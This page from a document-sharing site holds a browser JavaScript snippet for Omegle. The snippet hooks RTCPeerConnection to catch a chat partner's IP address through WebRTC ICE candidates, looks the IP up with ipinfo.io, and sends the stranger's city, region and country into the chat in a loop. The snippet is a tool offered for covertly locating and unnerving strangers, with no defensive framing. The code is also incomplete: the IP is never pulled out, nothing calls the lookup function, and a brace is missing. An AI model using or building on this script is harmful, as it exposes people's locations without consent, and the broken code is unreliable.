Professional Documents
Culture Documents
Zain Techy Omegle Location Code
Zain Techy Omegle Location Code
RTCPeerConnection
window.RTCPeerConnection = function(...args) {
const socialcodia = new window.oRTCPeerConnection(...args)
socialcodia.oaddIceCandidate = socialcodia.addIceCandidate
return socialcodia
}
function fetchLocation(ip)
{
fetch('https://ipinfo.io/'+ip+'?token=Your token here')
.then( res => res.json() )
.then(response => {
console.log("Country :"+response.country)
console.log("State : "+response.region)
console.log("City : " +response.city)
console.log("Pin Code : " +response.postal)
console.log("Org : " +response.org)
writeMessage(response.country,response.region,response.city)
})
.catch(error => console.error('Error:', error));
}
function writeMessage(country,region,city)
{
let chatmsg = document.getElementsByClassName("chatmsg");
let sendbtn = document.getElementsByClassName("sendbtn");
let msg = "Are you from"+city+ ","+ region+".("+country+"), ";
for(let i=1; i<10; i++)
{
chatmsg[0].innerHTML = msg;
sendbtn[0].click();
}